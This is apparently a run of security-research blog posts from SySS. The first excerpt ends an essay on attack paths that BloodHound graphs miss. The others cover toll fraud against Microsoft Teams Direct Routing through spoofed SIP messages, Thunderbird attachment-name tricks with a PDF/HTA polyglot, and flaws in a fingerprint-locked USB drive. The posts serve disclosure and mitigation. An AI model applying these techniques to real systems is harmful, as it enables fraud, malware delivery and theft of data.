You will have to create an exception for the ingestor.
Second, to get anything close to the full picture, i.e. to get the
information about all sessions and local group memberships, you will need an
appropriate service account. Starting with Windows Server 2019 or Windows
10 1709, authenticated users don’t have the necessary permission. But wait!
Don’t use an account with full administrative permissions. We want to
follow best practices and apply the principle of least privilege. Use
group policies to assign the service account just the permissions to
enumerate sessions and group
memberships. Also, consider
putting the account into the group “Protected Users” to make it immune to
relay attacks. It will be connecting to all kinds of systems and who knows
whether one of them is compromised. As a protected user, the BloodHound
service account will be forced to use Kerberos, which makes certain attacks
like NTLM relay impossible.
Tiering your network
According to Microsoft’s Enterprise Access
Model
(formerly known as the tier model), you should have at least three tiers.
Meaning, the most powerful administrators in your organization need three
different admin accounts on top of their regular user account.
Each account must only access systems in their tier.
This mitigates lateral movement substantially, and the BloodHound graph of a
properly tiered network will consist of at least three disconnected sections.
Not least because this requires special privileged access workstations, this often presents a Herculean task to most organizations. Nevertheless, it
makes a lot of sense from a security perspective.
What’s next?
You successfully tiered your network according to the enterprise model and
confirmed this with BloodHound? Great! Except …
BloodHound already knows dozens of edges, each of which represents a
possibility to escalate privileges. In reality, there are much more.
In fact, there are already projects which extend escalation paths in BloodHound.
Let’s generalize the concept beyond the various access techniques of Active
Directory.
Following the language of Microsoft’s official documentation on Active
Directory and the language of Active Directory itself, BloodHound speaks of
“user objects”. This is slightly misleading, because strictly speaking, the
user is the person who is using the computer. What is meant by “user
object”, is more accurately an account. It’s not a one-to-one mapping. A
user can (and should, when employing the enterprise access model) have
several accounts, and an account may not have any particular user associated
with it. Instead, multiple users may have access to the account’s password. Those
are often called service accounts, technical accounts or functional
accounts. Administrators and pentesters alike often use the terms “user”
and “account” interchangeably, but for the purpose of this article it’s
important that we make this distinction. Also, it’s not always a user
controlling an account – it can also be an attacker. Thus, we should speak
of “persons” and “accounts”.
One person controlling several accountsOne account controlled by different persons
This is something BloodHound naturally cannot represent.
Now that we differentiate between those two, another attack vector becomes
apparent: Persons with physical access to a machine should be assumed to
have the possibility to gain administrative privileges on it, with one
caveat. It becomes much harder when full disk encryption is used, of course,
but depending on your threat model (“stolen laptop”, “‘evil maid’ attacks”,
etc.) there are a host of attacks that you will still need to defend
against:
Note that our computer is technically controlled by a keyboard, and the
keyboard is controlled by the user/person. You left just the keyboard unattended in the
wrong place? Well, now, the keyboard may be controlled by an
attacker,
too. For me personally, I lock my USB keyboard away along with my laptop when I
leave the office. Wireless keyboards are banned
entirely at SySS.
Something similar can be said about virtualization.
Whoever controls the hypervisor controls the virtual machines that run on it.
Sure, you can make a successful attack more expensive by deploying virtual
TPMs and encrypt the virtual hard drives, but at the end of the day it’s the
same situation as with physical access: whoever controls the (virtual)
hardware controls the software on it. Have you made sure that no tier-1
administrator has access to the hypervisor hosting a tier-0 system? In other
words, are there attack paths like in the following picture that BloodHound
won’t show you?
An attack path involving hypervisor access
Another big issue that is regularly exploited during pentest engagements is
password reuse. If you have successfully tiered your environment, and one
admin chooses the same password for their tier-1 and tier-2 accounts, this
may just be the vulnerability that causes your domain to fall. This is hard
to represent with BloodHound because passwords are supposed to be secret,
even though it is possible.
Password reuse between tiered accounts represents a sometimes overlooked escalation path
Password reuse is also a problem with local administrator accounts.
Nowadays, it is easily solved by using
LAPS, but
we at SySS still find password reuse between machines regularly, which is
often part of another escalation path that BloodHound cannot show you.
Note that in reality this should be an undirected relationship, but for
technical reasons BloodHound displays it as a directed edge.
Password reuse of the built-in admin account between different systems represents a much exploited escalation path that BloodHound does not show
Where do all your systems and appliances get their updates from? How big is
your supply chain? They, too, have control that is not displayed by
BloodHound. According to some, the SolarWinds
hack was the largest attack
up until then. Adversaries infiltrated SolarWinds and caused malicious
updates to be distributed to SolarWinds customers, which ran their software
on tier-0 systems. Lenovo arguably distributed
malware on their laptops
once, too.
Open source projects are not exempt either, by the way, as they can get
hacked
as well. Who
controls
your open source projects’ dependencies? How well did they choose their
password? How diligent are they about keeping their MX
record?
How trustworthy and how secure are your
contractors
(data centers, managed service providers, consultants, pentesters, and so on)?
They often have high privileges and they, too, may have large networks with many attack vectors.
Beyond technical control
So far, we only considered technical or theoretical escalation paths. But
security is hard in part because it always happens in the real, physical
world, and abstractions are incomplete.
Hence, depending on your level of paranoia, we can go one step further,
because control is not limited to the technical world. Who controls the
person? At the minimum: their supervisor. Are they immune to extortion or
bribes? Attackers have long since embraced the quite obvious and inelegant
yet effective method of
bribary, as shown by the so called LAPSUS$ gang.
This attack vector is reminiscent of the rubber hose
attack. Think about it: ransomware gangs can easily
expect to get payed a seven digit
sum
after a successful hit. An investment of, say, a paltry $10,000 to bribe one
employee into simply hitting WIN-R, CTRL-V, RETURN seems like a no brainer.
Or into plugging-in a malicious USB drive. Can all of your employees resist?
How loyal are employees to their employer? Not just your employees, your
contractor’s and vendor’s employees are relevant, too. Most famously,
Edward Snowden
arguably can be called a contractor’s administrator gone rogue.
And finally, the employer is typically bound to law enforcement in their
country. Law enforcement follows orders of their government. Some became
painfully aware
of this after the beginning of Russia’s war on Ukraine. Note that in this
particular case about Kaspersky there was no technical evidence that should
concern anyone, but the mere possibility sufficiently contributes to the
threat model that the BSI felt compelled to issue a warning. However, it is
peculiar that the warning singled out Kaspersky instead of considering all
Russian software products.
So our picture should look more like this (click right and open in a new
tab):
A more realistic picture of the privilege escalation graph
At this point, anybody will have to realize that there will always be a
residual risk. Our world is interconnected in manifold ways and we will
always have to trust someone. You decide where the buck stops for you.
Not all edges are created equal
Not all is lost just yet. The world is not as black and white as a typical
BloodHound graph may lead you to believe. It is still a mathematical
abstraction of the real world and we can do a little bit better.
Let’s consider the edge CanRDP, as it is called in BloodHound, which means
that an account has the permission to log on to a system remotely with RDP.
But it doesn’t mean that the account has any sort of interesting permissions
on it, and without the necessary permissions it can’t steal credentials of
active or past sessions. BloodHound shows it anyway, since there is a chance
that the system is vulnerable to a local privilege escalation attack. Any
pentester will attest that this is actually the case from time to time, but
the likelihood of a successful attack is far from 100%.
Similarly, the edge AdminTo does not guarantee command execution on this
system. The attacker will still need to be able to reach a suitable service.
Appropriately defined firewall rules or a strict endpoint protection agent
may intervene, even though this is rare, so the likelihood of a successful
attack is close to 100%.
One of the few edge types that trivially ensures privilege escalation is MemberOf.
Sometimes it depends on more factors. Let’s consider the hypothetical
HasPhysicalAccess edge. With everything in its default configuration, the
risk we can assign to this edge type is very close to 100%, but with proper
hardening using full disk encryption in combination with a TPM in PIN mode
and a signed boot loader, it may be close to 0%. Not equal to 0%, though,
because of “evil maid” attacks.
This goes for any edge type, which makes our attack graph a directed and
weighted graph. The likelihood of a successful execution of any given
attack path is then the product of the likelihoods assigned to each edge.
Some
speak of “easiness of exploitation” (or its inverse, the “cost”), which
stresses the offensive perspective, but you might just as well call it
“risk” if you represent the defensive position.
Often, we can influence the easiness of exploitation, for example by
employing multi-factor authentication. To reduce the risk of employees being
bribed or blackmailed, you can introduce a four-eyes (or even six-eyes)
principle, but this is rarely enforced at a fundamental level. Active
Directory, the center and master of most corporations’ identity management,
unfortunately knows neither MFA nor the four-eyes principle out of the box.
Everybody who has an interest in IT security has heard or said the old
platitude: “Nothing is 100% secure.” It’s as true of a statement as it is
useless. It can even be dangerous, as it can seduce us into submitting
to defeatism. Let’s focus on the real challenge instead, which is to assess
the risk, the potential damage and the cost to lower the risk, because only
then can we decide if it is worth it to take action.
For example, we can probably all agree that the likelihood that Microsoft
will roll out infected updates to our Windows systems is negligible (and if
it does happen, then most likely because they were
infiltrated, coerced by
a government
agency
or became a hacking victim), while at the same time the cost of switching to
something else is astronomic. Plus, it would simply shift the dependency
elsewhere. Then again, the fact that the Chinese government seeks to ban
Windows, or even
all foreign made
PCs emphasizes
that threat models are entirely subjective. They evidently assign a much
higher likelihood to the scenario that an OS manufacturer will roll out
infected updates.
We are inching closer to a crucial question: How do we assign likelihoods to
each edge? If you consider yourself a
Bayesian, you will agree
that everybody has different credences about each attack path.
However, determining the likelihoods on edges in a particular organization’s attack
graph shall be left for future research.
Conclusion
BloodHound focuses on Active Directory and these hypothetical edges are
missing, because they represent real escalation paths exploited by real
attackers:
SamePassword
SameAdminPassword
GuestMachine
ProvidesUpdatesTo
Taking the concept into the real world with all its physical and social
aspects, the following hypothetical edges must be considered as well:
HasPhysicalAccess
Bribes
Blackmails
Supervises
LawEnforcment
Last but not least, keep in mind that if you grant one single contractor
access to your domain without sending out dedicated hardware, you are also
trusting the contractor’s Windows domain, all vendors that supply updates to
systems in that domain, all passwords that the vendors’ employees are using,
that nobody falls for phishing or uses insecure passwords, that all their
open source dependencies’ maintainers’ e-mail domains are handled securely,
…
Abusing Microsoft Teams Direct Routing2022-09-01T10:00:00+02:002022-10-17T09:51:33+02:00https://blog.syss.com/posts/abusing-ms-teams-direct-routing/Moritz Abrell
In this blog post, a practical problem and security issue when it comes to phone integration with Microsoft Teams Direct Routing is described.
In this blog post, a practical problem and security issue when it comes to phone integration with Microsoft Teams Direct Routing is described.
Due to a lack of authentication methods provided by Microsoft, current Microsoft Teams Direct Routing installations may be vulnerable to toll fraud attacks.
TL;DR
An external, unauthenticated attacker is able to send specially crafted SIP messages,
that pretend to originate from Microsoft and are therefore correctly classified by the victim’s Session Border Controller.
As a result, unauthorized external calls are made through the victim’s phone line (toll fraud).
The research was also presented at this year’s DEF CON Hacking Conference in Las Vegas.
The slides are available on the DEF CON media server.
Microsoft PSTN connectivity options
Microsoft Teams can be extended for making and receiving external phone calls e.g. using the Microsoft Teams client like a softphone.
For enabling this, Microsoft Teams needs to be connected with a Public Switched Telephone Network (PSTN) by one of the following options:
Calling Plan: Full cloud solution where Microsoft is used as PSTN carrier.
Operator Connect: Usage of a Operator Connect supported PSTN carrier, where the hosting and connectivity is managed by a third-party operator or the PSTN carrier itself.
Direct Routing: Enables the integration of your existing VoIP Infrastructure e.g. your own PSTN carrier.
More information about Microsoft Teams PSTN connectivity can be found in the Microsoft Documentation.
Since this blog post focuses on the Direct Routing option, we will go into more detail about it.
Direct Routing and Session Border Controller
As already mentioned, Microsoft Teams Direct Routing allows you integrating your existing communication infrastructure e.g. PBX, contact center, legacy devices, or your telephone carrier.
A common application scenario is connecting Microsoft Teams with a SIP account from a PSTN carrier.
For enabling this, the operation of a dedicated Session Border Controller (SBC) is needed.
The following figure shows a basic sample architecture for this scenario:
Basic sample architecture of Microsoft Teams Direct Routing
To ensure full functionality and interoperability Microsoft has a certification program for SBCs.
More details about this certification program and the list of tested and certified devices can be found in the Microsoft documentation.
In the author’s experience, one of the common SBCs are devices from AudioCodes.
Therefore, we chose an AudioCodes SBC as an example to analyze Microsoft Teams Direct Routing PSTN connectivity.
Analysis of a recommended configuration
AudioCodes published configuration guidelines for the integration with Microsoft Teams, which are results from the certification process and interoperability tests by Microsoft.
These guidelines include some carrier specific guides as well as a gerneral configuration note.
In addition, AudioCodes provides a configuration wizard, where all requirements can be clicked together resulting in a final configuration, as the following figure illustrates:
AudioCodes configuration wizard
Therefore, a configuration recommended and certified by the manufacturer is used as the basis for the security analysis.
Call handling
The communication between the Microsoft SIP proxies and the SBC is done with the Session Initiation Protocol.
When a call is initiated from the Microsoft Teams client, the configured SBC receives the SIP messages of the call.
After receiving a SIP message, the SBC handles this by configured actions and call routing rules e.g. establish a connection through the configured PSTN carrier.
In this case, the SBC acts as a so-called back-to-back user agent (B2BUA) between the Microsoft SIP proxies and the PSTN carrier.
Conditions and classification
Before a SIP message is handled by the routing policies, it must be first classified by the SBC.
In the configuration recommended by the manufacturer, this classification includes the following conditions:
The SBC’s Fully-Qualified Domain Name (FQDN) must be set as destination host (host part of the SIP Request-URI) inside the SIP message
The static string pstnhub.microsoft.com must be included in the host part of the “Contact” header of the SIP message
After reviewing the rest of the configuration, no further conditions or authentications are required for correct classification of SIP messages received from Microsoft.
Exploitation
Due to the lack of authentication, the attack idea is to send specially crafted SIP messages pretending to be from Microsoft,
get correctly classified by the SBC, and finally establish a connection through the victim’s PSTN carrier.
For a successful attack, however, the FQDN of the SBC must be known.
This can be obtained e.g. from the common name or subject alternative name value of the X.509 certificate of the exposed SIP-TLS service:
As a proof of concept, the following SIP call flow was defined in an XML template, which can be used by the open source tool SIPp:
Proof of concept SIP call flow
When connecting to a SIP-TLS service, SIPp requires an X.509 certificate.
In fact, this is not required for the actual TLS handshake, and therefore a self-signed certificate can be used.
The proof of concept XML template can then be executed as follows:
As already seen in the tl;dr section, the SIP messages were correctly classified and an external phone call was initiated.
The call flow of the attack from the SBC’s point of view is shown in the following figure:
SIP call flow from the perspective of the SBC
Impact
This is a good time to consider the implications of such an attack.
First of all, the obvious impact with this issue is that an attacker is able to impersonate the victim and make calls on their behalf, e.g. CEO fraud or other social engineering attacks.
Second, the worse and common attack is toll fraud.
In this case, an attacker initiates an external phone call through the victim’s PSTN carrier with the destination of a premium phone number.
This premium phone number is under the attacker’s control, and therefore he receives the incurred charges, as illustrated in the following figure:
Toll fraud
Responsible disclosure
In order for the security issues to be addressed, we have reported the vulnerabilities to AudioCodes Ltd. according to our Responsible Disclosure Program.
AudioCodes Ltd. responded after our vulnerability report and provided several workarounds during the disclosure process, which are described below.
Insufficient IP filter
The manufacturer added the following additional IP filter:
Insufficient IP filter
This IP filter means that classification is only successful if the incoming SIP messages have a source IP from the network 52.0.0.0/8.
However, the addresses on this network are not exclusively assigned to Microsoft.
For example, the addresses from 52.0.0.0 to 52.79.255.255 are assigned to Amazon Technologies Inc.:
So for an attacker, it is possible to allocate an IP address of the allowlisted IP range 52.0.0.0/8 in some AWS locations:
Allocated IP address within the allowlisted IP range
This IP address can then be assigned to an EC2 instance in AWS and finally the attack is still possible.
Insufficient mutual TLS authentication
Microsoft Teams Direct Routing supports mutual TLS authentication, which was also recommended as mitigation to the described attack by AudioCodes Ltd.
This means, that the SBC is able to request and then validate the X.509 certificate of the Microsoft Teams SIP proxy for incoming SIP connections.
Mutual TLS in a nutshell
One important check at certificate validation is the comparison of the requested hostname to the Common Name (CN) or Subject Alternative Name (SAN) of the X.509 server certificate.
When it comes to mutual TLS authentication, the server requests the client certificate and the client then responds with its X.509 client certificate.
Due to this, the server does not validate the CN or SAN values of the client certificate.
Therefore, it is even more important that the server does only trust the needed Certificate Authorities (CA) and that an attacker is not able to obtain a signed certificate form a trusted CA.
Mutual TLS in Microsoft Teams Direct Routing
For enabling mutual TLS for Microsoft Teams Direct Routing, the SBC has to trust the following two certificates:
DigiCert Global Root G2 (SHA1 fingerprint: DF3C24F9BFD666761B268073FE06D1CC8D4F82A4)
However, both certificates are widely used.
For example, the following image is showing the signing tree of the Baltimore CyberTrust Root certificate:
Baltimore CyberTrust Root signing tree
Thus, an attacker is able to request a signed certificate for an arbitrary FQDN from a CA which ultimately signs the certificates by DigiCert Global Root G2 or Baltimore CyberTrust Root.
Finally, the attack is still possible, even if mutual TLS is enforced on the SBC.
After we reported that the attack is still possible, AudioCodes Ltd. responded with the following statement:
The AudioCodes Configuration Guides are focused on interworking and only describe the basic security rules.
Furthermore, the manufacturer recommended filtering the incoming party number and follow the SBC security and hardening guideline.
However, filtering the incoming party number is just a minimal security improvement, since the phone number can often be easily obtained by simple web search.
Next, the SBC security and hardening guideline would also not prevent this attack without keeping Microsoft Teams Direct Routing working.
In addition to these recommendations, we noticed that AudioCodes added the additional section Configure Firewall Rules (Optional) in its guideline:
Optional firewall rules
If configured correctly, these firewall settings would only allow incoming TCP traffic from the documented Microsoft Teams SIP proxies,
which indeed will effectively prevent exploiting the demonstrated attack.
However, it should be noted that this section is marked as optional by the manufacturer, and that the firewall settings are also not applied, if the configuration wizard is used.
Microsoft
In general, the described issues are affecting all Microsoft Teams Direct Routing installations and SBCs.
Please be aware that the AudioCodes SBC is just an example in this case.
Therefore, we also submitted a report to Microsoft about the security vulnerability and requested the implementation of proper authentication.
For example, application-specific SIP digest authentication, which would allow a long password to be defined for SIP session authentication.
Also, signing the Microsoft Teams SIP proxies with an exclusively used and dedicated CA would secure mutual TLS authentication.
But until now, this case is still open.
Recommendation and mitigation
Currently, the only effective way to secure the SBC in combination with Microsoft Teams Direct Routing is defining an IP filter, only allowing incoming TCP traffic to the corresponding SIP service from the documented Microsoft SIP proxies:
52.112.0.0/14
52.120.0.0/14
In addition, some SBCs support static SAN filtering and verification.
Since all Microsoft Teams SIP proxies use an X.509 certificate including the SAN sip.pstnhub.microsoft.com, this value can be configured for static SAN verification.
Moreover, limiting the maximum call duration, sufficient logging and monitoring, and denying calls to premium phone numbers are generally recommended measures.
Update (Oct-17-2022)
After this blog post had been published, AudioCodes Ltd. updated the Microsoft Teams Direct Routing configuration guideline and the configuration wizard template.
Now, the updated guideline and the wizard template are including more detailed classification rules.
These rules limit incomming SIP Messages, received at the configured Microsoft Teams SIP interface, to the documented Microsoft Teams SIP proxy IP address ranges only:
Updated Classification Rules
In addition, the section Configure Firewall Settings is no longer marked as Optional:
Updated Firewall Settings Section
We welcome these updates provided by AudioCodes Ltd. and recommend implementing them in addition to the already referred firewall settings.
Tampering with Thunderbird attachments under Windows2022-07-22T12:00:00+02:002022-07-22T13:37:34+02:00https://blog.syss.com/posts/tampering-with-thunderbird-attachements/Matthias Zoellner
In this blog post a few techniques for tampering with Thunderbird attachments, which simplify social engineering (SE) attacks from an attacker perspective, are shown.
Introduction
Thunderbird under Microsoft Windows in version 102.02.0 and below is showing some unexpected behaviour which might be abused for social engineering or phishing attacks.
Tests were performed with:
Prod...
In this blog post a few techniques for tampering with Thunderbird attachments, which simplify social engineering (SE) attacks from an attacker perspective, are shown.
Introduction
Thunderbird under Microsoft Windows in version 102.02.0 and below is showing some unexpected behaviour which might be abused for social engineering or phishing attacks.
Tests were performed with:
Windows Defender Signatures up-to-date (7/19/2022)
tl;dr
For those who do not have the time to read: All the stuff in a short clip.
tl;dr Proof-of-Concept
What’s ongoing here?
Polyglot file to render in Thunderbird and to execute script
Polyglot file PDF/HTA bypasses gmail file filter
Drag & Drop cuts filename to 128 characters
Unicode characters expand when being saved to disk, adding a layer of obfuscation
No Mark-of-the-Web attribute applied
Below, you will find the details.
Drag & Drop
Thunderbird is cutting the file name to 128 characters when using Drag & Drop under Windows.
As this is a strict crop, the extension of the file can change when being dropped to disk.
This means an attacker can craft a special file which seems to be a PDF but is an executable when being dropped from the e-mail.
When the file is dropped to the desktop or a folder, the extension is cut off at 128 characters, leaving this:
totally_not_malicious_file_with_more_then_128_characters_definetly_no_problem_here_aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.exe
As the file is an executable, the Windows calculator in this case, a double-click then executes the binary.
Popping a calculator by double-click
Demo time
Demo showing the attack vector
Unicode
Additionally, Thunderbird is showing some interesting behaviour when it comes to unicode characters in attachments. In received e-mails the unicode characters are shown sanitized, but when being saved to disk they expand.
U+00A0 (NO-BREAK SPACE) not normalized
The file saving feature, Drag & Drop functionality and the “save” dialog for attachments normalize some special characters when dropping a file.
For example, multiple “{Spaces}” were combined to one.
There are some characters which bypass this layer of protection and therefore move some file endings out of sight for the user.
For example a U+00A0 : No-Break Space is not truncated.
The following file might move the real extensions out of the user’s sight.
As we can see in the figure, the unicode characters are not shown, but are validated when being saved to disk.
Saving attachment with U+00A0 in filename
As Windows is keeping the “No-Break Spaces”, the explorer will most likely not show the extension, because the file name is long (128 characters).
Showing the full filename in Explorer
U+202E (RIGHT-TO-LEFT OVERRIDE) interpreted
When crafting a file with the U+202E RIGHT-TO-LEFT OVERRIDE character we can hide file extensions even better.
totally_not_malicious_file.pdf .bat.pdf
When you select the output of the box and mark characters by pressing SHIFT+right, you can see the order of the characters.
Even a quite simple example shows that guessing the correct file extension of the file is not trivial. This can be seen in the following figure.
Simple example with a BAT file
Popping a calculator by double-click the batch file
Sidenote: The unicode RIGHT-TO-LEFT OVERRIDE in the filename is also used in error messages, which might provide some additional possibilities to break components of the graphical user interface.
Broken error message
Polyglot file
With a little bit of file tampering it is possible to craft a polyglot file which still allows rendering in the e-mail client but does something different when being saved to the filesystem. An example might be:
HTA / HTM
HTA files are HTML files with the possibility to include some scripting language to run commands.
The following Mini-PoC is opening a calculator when running with a HTA extension. When running in a browser as HTM file, the script tag is ignored and only the HTML body is rendered.
By using the long file name, we can have the extension swap when saving the file to disk.
totally_not_malicious_file_with_more_then_128.pdf .hta.htm
HTA / PDF
Most of the PDF readers do not stumble about the extra lines at the end of the file. And the mshta.exe, responsible in a Windows environment for running HTA files, is quite robust and continues also in error cases until a valid command is found.
The following snippet is a minimal PDF file and also a HTA file which pops a calculator.
We can further improve this and add some social engineering vector by telling the user that the file must be saved to disk to correctly render.
An example with a little bit more effort might look like this:
A double-click in Thunderbird opens the PDF
Polyglot PDF/HTA file
A double-click after Drag & Drop saving the file starts the HTA and therefore popping a calculator.
Popping a calculator by double-click
To increase the stealthiness, we can still open a real PDF via the HTA code execution after executing our malicious payload.
Gmail
It is quite obvious, but still interesting, that for example Google’s gmail is not blocking the prepared HTA file, as it is an (almost correct, at least renderable) PDF file.
Normally, HTA files are blocked by gmail.
In combination with Thunderbird there might be the risk of code execution.
Mark-of-the-Web
When it comes to phishing, it is also interesting that Thunderbird does not add the Mark-of-the-Web (MotW) flag to attachments when using the Drag & Drop function. Therefore, some protections like the protected view in MS Office are skipped.
The left file was saved via the “Save as” dialog and got the MotW applied. The second one was saved via Drag & Drop and did not get MotW applied.
No Mark-of-the-Web applied when using Drag & Drop
Mitigation
If Thunderbird is being used in a corporate environment, it is possible to scan for long attachment file names. Also, the double file extension can be detected.
In a private environment, it is up to the user.
Doublecheck files before saving them to disk and even one more time before executing them.
And of course Mozilla can improve the handling on their side.
The limit to “128 characters Drag & Drop” and the “Unicode normalization issue” have been reported via Mozilla’s Bugzilla system.
Those issues are unpatched today and should still work in an up-to-date Thunderbird version.
Conclusion
The shown tamperings with the attachment file names are just some simple examples. For sure, it is possible to find some more sophisticated variants and thus some phishing or social engineering.
Who knows what Unicode characters are having an impact about showing the file name?
If you have any comments on this or things to mention, please reach out to us.
Thanks
I still want to thank the Mozilla Team for their respectable work and for providing a great e-mail client.
Hacking Some More Secure USB Flash Drives (Part II)2022-06-22T09:00:00+02:002022-06-22T09:23:41+02:00https://blog.syss.com/posts/hacking-usb-flash-drives-part-2/Matthias Deeg
In the second article of this series, SySS IT security expert Matthias Deeg presents security vulnerabilities found in another crypto USB flash drive with AES hardware encryption.
In the second article of this series, SySS IT security expert Matthias Deeg presents security vulnerabilities found in another crypto USB flash drive with AES hardware encryption.
Introduction
In the second part of this blog series, the research results concerning the secure USB flash drive Verbatim Executive Fingerprint Secure SSD shown in the following Figures are presented.
Front view of the secure USB flash drive Verbatim Executive Fingerprint Secure
The Verbatim Executive Fingerprint Secure SSD is a USB drive with AES 256-bit hardware encryption and a built-in fingerprint sensor for unlocking the device with previously registered fingerprints.
The manufacturer describes the product as follows:
The AES 256-bit Hardware Encryption seamlessly encrypts all data on the
drive in real-time. The drive is compliant with GDPR requirements as
100% of the drive is securely encrypted. The built-in fingerprint
recognition system allows access for up to eight authorised users and
one administrator who can access the device via a password. The SSD
does not store passwords in the computer or system’s volatile memory
making it far more secure than software encryption.
The used test methodology regarding this research project, the considered attack surface and attack scenarios, and the desired security properties expected in a secure USB flash drive were already described in the first part of this article series.
Hardware Analysis
When analyzing a hardware device like a secure USB flash drive, the first thing to do is taking a closer look at the hardware design. By opening the case of the Verbatim Executive Fingerprint Secure SSD, its printed circuit board (PCB) can be removed. The following figure shows the front side of the PCB and the used SSD with an M.2 form factor.
PCB front side of Verbatim Executive Fingerprint Secure SSD
Here, we can already see the first three main components of this device:
NAND flash memory chips
a memory controller (Maxio MAS0902A-B2C)
a SPI flash memory chip (XT25F01D)
On the back side of the PCB, the following further three main components can be found:
a USB-to-SATA bridge controller (INIC-3637EN)
a fingerprint sensor controller (INIC-3782N)
a fingerprint sensor
PCB back side of Verbatim Executive Fingerprint Secure SSD
The Maxio memory controller and the NAND flash memory chips are part of an SSD in M.2 form factor. This SSD can be read and written using another SSD enclosure supporting this form factor which was very useful for different security tests.
By having a closer look at the encrypted data, obvious patters could be seen, as the following hexdump illustrates:
1
2
3
4
5
6
7
8
9
10
11
12
13
# hexdump -C /dev/sda
00000000 7c a1 eb 7d 4e 39 1e b1 9b c8 c6 86 7d f3 dd 70 ||..}N9......}..p|
*
000001b0 99 e8 74 12 35 1f 1b 3b 77 12 37 6b 82 36 87 cf |..t.5..;w.7k.6..|
000001c0 fa bf 99 9e 98 f7 ba 96 ba c6 46 3a e5 bc 15 55 |..........F:...U|
000001d0 7c a1 eb 7d 4e 39 1e b1 9b c8 c6 86 7d f3 dd 70 ||..}N9......}..p|
*
000001f0 92 78 15 87 cd 83 76 30 56 dd 00 1e f2 b3 32 84 |.x....v0V.....2.|
00000200 7c a1 eb 7d 4e 39 1e b1 9b c8 c6 86 7d f3 dd 70 ||..}N9......}..p|
*
00100000 1e c0 fa 24 17 d9 4b 72 89 44 20 3b e4 56 99 32 |...$..Kr.D ;.V.2|
00100010 d8 65 93 7c 37 aa 8f 59 5e ec f1 e7 e6 9b de 9e |.e.|7..Y^.......|
[...]
The * in this hexdump output means that the previous line (here 16 bytes of data) is repeated one or more times. The first column showing the address indicates how many consecutive lines are the same. For example, the first 16 bytes 7c a1 eb 7d 4e 39 1e b1 9b c8 c6 86 7d f3 dd 70 are repeated 432 (0x1b0) times starting at the address 0x00000000, and the same pattern of 16 bytes is repeated 32 times starting at the address 0x000001d0.
Seeing such repeating byte sequences in encrypted data is not a good sign, as we already know from part one of this series.
By writing known byte patterns to an unlocked device, it could be confirmed that the same 16 bytes of plaintext always result in the same 16 bytes of ciphertext. This looks like a block cipher encryption with 16 byte long blocks using Electronic Codebook (ECB) mode was used, for example AES-256-ECB.
For some data, the lack of the cryptographic property called diffusion, which this operation mode has, can leak sensitive information even in encrypted data. A famous example for illustrating this issue is a bitmap image of Tux, the Linux penguin, and its ECB encrypted data shown in the following Figure.
This found security issue was reported in the course of our responsible disclosure program via the security advisory SYSS-2022-010 and was assigned the CVE ID CVE-2022-28382.
Firmware Analysis
The SPI flash memory chip (XT25F01D) of the Verbatim Executive Fingerprint Secure SSD contains the firmware for the USB-to-SATA bridge controller Initio INIC-3637EN. The content of this SPI flash memory chip could be extracted using the universal programmer XGecu T56.
When analyzing the firmware, it could be found out that the firmware validation only consists of a simple CRC-16 check using XMODEM CRC-16. Thus, an attacker is able to store malicious firmware code for the INIC-3637EN with a correct checksum on the used SPI flash memory chip.
For updating modified firmware images, a simple Python tool was developed that fixes the required CRC-16, as the following output exemplarily shows.
Thus, an attacker is able to store malicious firmware code for the INIC-3637EN with a correct checksum on the used SPI flash memory chip (XT25F01D), which then gets successfully executed by the USB-to-SATA bridge controller. For instance, this security vulnerability could be exploited in a so-called supply chain attack when the device is still on its way to its legitimate user.
An attacker with temporary physical access during the supply could program a modified firmware on the Verbatim Executive Fingerprint Secure SSD, which always uses an attacker-controlled AES key for the data encryption, for example. If the attacker later on gains access to the used USB drive, he can simply decrypt all contained user data.
This found security issue concerning the insufficient firmware validation, which allows an attacker to store malicious firmware code for the USB-to-SATA bridge controller on the USB drive, was reported in the course of our responsible disclosure program via the security advisory SYSS-2022-011 and was assigned the CVE ID CVE-2022-28383.
Protocol Analysis
The hardware design of the Verbatim Executive Fingerprint Secure SSD allowed for sniffing the serial communication between the fingerprint sensor controller (INIC-3782N) and the USB-to-SATA bridge controller (INIC-3637EN).
The following Figure exemplarily shows exchanged data when unlocking the device with a correct fingerprint. The actual communication is bidirectional and different data packets are exchanged during an unlocking process.
Sniffed serial communication when unlocking with a correct fingerprint shown in logic analyzer
In the course of this research project, no further time was spent to analyze the used proprietary protocol between the fingerprint sensor controller and the USB-to-SATA bridge controller, as a simpler way could be found to attack this device, which is described in the next section.
For the biometric authentication, a fingerprint sensor and a specific microcontroller (INIC-3782N) are used. Unfortunately, no public information about the INIC-3782N could be found, like data sheets or programming manuals.
For the registration of fingerprints, a client software (available for Windows or macOS) is used. The client software also supports a password-based authentication for accessing the administrative features and unlocking the secure disk partition containing the user data. The following Figure shows the login dialog of the provided client software for Windows.
Password-based authentication for administrator (VerbatimSecure.exe)
Software Analysis
The client software for Windows and macOS is provided on an emulated CD-ROM drive of the Verbatim Executive Fingerprint Secure SSD, as the following Figure exemplarily illustrates.
Emulated CD-ROM drive with client software
During this research project, only the Windows software in form of the executable VerbatimSecure.exe was analyzed. This Windows client software communicates with the USB storage device via IOCTL_SCSI_PASS_THROUGH (0x4D004) commands using the Windows API function DeviceIoControl. However, simply analyzing the USB communication by setting a breakpoint on this API function in a software debugger like [x64dbg][x64db] was not possible, because the USB communication is AES-encrypted as the following Figure exemplarily illustrates.
Encrypted USB communication via DeviceIoControl
Fortunately, the Windows client software is very analysis-friendly, as meaningful symbol names are present in the executable, for example concerning the used AES encryption for protecting the USB communication.
The following Figure shows the AES (Rijndael) functions found in the Windows executable VerbatimSecure.exe.
AES functions of the Windows client software
Here, especially the two functions named CRijndael::Encrypt and CRijndael::Decrypt were of greater interest.
Furthermore, runtime analyses of the Windows client software using a software debugger like x64dbg could be performed without any issues. And in doing so, it was possible to analyze the AES-encrypted USB communication in cleartext, as the following Figure with a decrypted response from the USB flash drive illustrates.
Decrypted USB communication (response from device)
For securing the USB communication, AES with a hard-coded cryptographic key is used.
When analyzing the USB communication between the client software and the USB storage device, a very interesting and concerning observation was made. That is, before the login dialog with the password-based authentication is shown, there was already some USB device communication with sensitive data. And this sensitive data was nothing less than the currently set password for the administrative access.
The following Figure shows the corresponding decrypted USB device response with the current administrator password S3cretP4ssw0rd in this example.
Decrypted USB device response containing the current administrator password
Thus, by accessing the decrypted USB communication of this specific IOCTL command, for instance using a software debugger as illustrated in the previous Figure, an attacker can instantly retrieve the correct plaintext password and thus unlock the device in order to gain unauthorized access to its stored user data.
